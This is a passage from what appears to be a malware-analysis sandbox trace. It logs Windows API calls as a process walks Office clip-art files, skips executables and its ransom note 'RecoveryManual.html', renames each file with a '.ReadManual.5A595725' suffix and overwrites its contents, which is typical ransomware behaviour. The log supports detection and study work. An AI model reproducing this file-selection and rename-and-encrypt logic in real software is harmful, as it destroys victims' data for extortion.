lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.355] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2418) returned 0x2f0000 [0260.355] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.355] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38102372850) returned 1 [0260.355] CloseHandle (hObject=0x184) returned 1 [0260.355] SetSecurityInfo () returned 0x57 [0260.355] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.355] CloseHandle (hObject=0x194) returned 1 [0260.356] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x928, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN04108_.WMF", cAlternateFileName="")) returned 1 [0260.356] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN04108_.WMF" | out: lpString1="AN04108_.WMF") returned="AN04108_.WMF" [0260.356] lstrcmpiW (lpString1="AN04108_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.356] StrStrIW (lpFirst="AN04108_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.356] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.356] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.356] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.356] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.356] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.356] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.356] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.356] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.356] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.356] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.356] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.356] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.356] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.356] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.356] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" [0260.356] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.ReadManual.5A595725" [0260.356] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.ReadManual.5A595725") returned 87 [0260.356] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38102516973) returned 1 [0260.367] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf")) returned 0x20 [0260.368] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.368] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2344) returned 1 [0260.368] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x928, lpName=0x0) returned 0x184 [0260.368] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.369] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.369] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.371] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.372] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x928) returned 0x2f0000 [0260.374] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.374] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38104268875) returned 1 [0260.374] CloseHandle (hObject=0x184) returned 1 [0260.374] SetSecurityInfo () returned 0x57 [0260.374] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.374] CloseHandle (hObject=0x194) returned 1 [0260.377] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17ac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN04117_.WMF", cAlternateFileName="")) returned 1 [0260.377] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN04117_.WMF" | out: lpString1="AN04117_.WMF") returned="AN04117_.WMF" [0260.377] lstrcmpiW (lpString1="AN04117_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.377] StrStrIW (lpFirst="AN04117_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.377] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.377] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.377] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.377] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.377] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.377] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.377] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.377] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.377] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.377] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.377] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.377] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.377] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.377] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.377] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" [0260.377] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.ReadManual.5A595725" [0260.377] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.ReadManual.5A595725") returned 87 [0260.377] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38104598505) returned 1 [0260.377] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf")) returned 0x20 [0260.377] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.378] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6060) returned 1 [0260.378] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17ac, lpName=0x0) returned 0x184 [0260.378] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.378] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.378] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.380] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.380] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17ac) returned 0x2f0000 [0260.380] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.380] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38104910197) returned 1 [0260.380] CloseHandle (hObject=0x184) returned 1 [0260.380] SetSecurityInfo () returned 0x57 [0260.381] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.381] CloseHandle (hObject=0x194) returned 1 [0260.381] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd58, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN04134_.WMF", cAlternateFileName="")) returned 1 [0260.381] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN04134_.WMF" | out: lpString1="AN04134_.WMF") returned="AN04134_.WMF" [0260.381] lstrcmpiW (lpString1="AN04134_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.381] StrStrIW (lpFirst="AN04134_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.381] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.381] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.381] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.381] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.381] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.381] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.382] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.382] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.382] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.382] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.382] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.382] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.382] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.382] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.382] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" [0260.382] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.ReadManual.5A595725" [0260.382] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.ReadManual.5A595725") returned 87 [0260.382] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38105060358) returned 1 [0260.382] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf")) returned 0x20 [0260.382] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.382] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3416) returned 1 [0260.382] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd58, lpName=0x0) returned 0x184 [0260.382] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.383] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.383] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.384] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.384] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd58) returned 0x2f0000 [0260.385] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.385] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38105344689) returned 1 [0260.385] CloseHandle (hObject=0x184) returned 1 [0260.385] SetSecurityInfo () returned 0x57 [0260.385] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.385] CloseHandle (hObject=0x194) returned 1 [0260.386] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN04174_.WMF", cAlternateFileName="")) returned 1 [0260.386] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN04174_.WMF" | out: lpString1="AN04174_.WMF") returned="AN04174_.WMF" [0260.386] lstrcmpiW (lpString1="AN04174_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.386] StrStrIW (lpFirst="AN04174_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.386] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.386] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.386] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.386] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.386] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.386] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.386] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.386] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.386] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.386] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.386] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.386] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.386] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.386] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.386] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" [0260.386] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.ReadManual.5A595725" [0260.386] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.ReadManual.5A595725") returned 87 [0260.386] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38105497277) returned 1 [0260.386] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf")) returned 0x20 [0260.387] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.387] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2636) returned 1 [0260.387] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa4c, lpName=0x0) returned 0x184 [0260.387] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.388] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.388] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.389] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.390] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa4c) returned 0x2f0000 [0260.390] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.390] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38105852685) returned 1 [0260.390] CloseHandle (hObject=0x184) returned 1 [0260.390] SetSecurityInfo () returned 0x57 [0260.390] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.390] CloseHandle (hObject=0x194) returned 1 [0260.391] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19ec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN04191_.WMF", cAlternateFileName="")) returned 1 [0260.391] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN04191_.WMF" | out: lpString1="AN04191_.WMF") returned="AN04191_.WMF" [0260.391] lstrcmpiW (lpString1="AN04191_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.391] StrStrIW (lpFirst="AN04191_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.391] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.391] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.391] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.391] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.391] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.391] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.391] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.391] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.391] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.391] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.391] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.391] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.391] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.391] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.391] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" [0260.391] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.ReadManual.5A595725" [0260.391] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.ReadManual.5A595725") returned 87 [0260.391] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38106001185) returned 1 [0260.391] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf")) returned 0x20 [0260.391] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.392] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6636) returned 1 [0260.392] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x19ec, lpName=0x0) returned 0x184 [0260.392] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.392] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.392] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.394] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.394] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x19ec) returned 0x2f0000 [0260.394] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.394] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38106302511) returned 1 [0260.394] CloseHandle (hObject=0x184) returned 1 [0260.394] SetSecurityInfo () returned 0x57 [0260.394] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.394] CloseHandle (hObject=0x194) returned 1 [0260.395] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1204, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AN04195_.WMF", cAlternateFileName="")) returned 1 [0260.395] lstrcpyW (in: lpString1=0x6ab90a, lpString2="AN04195_.WMF" | out: lpString1="AN04195_.WMF") returned="AN04195_.WMF" [0260.395] lstrcmpiW (lpString1="AN04195_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.395] StrStrIW 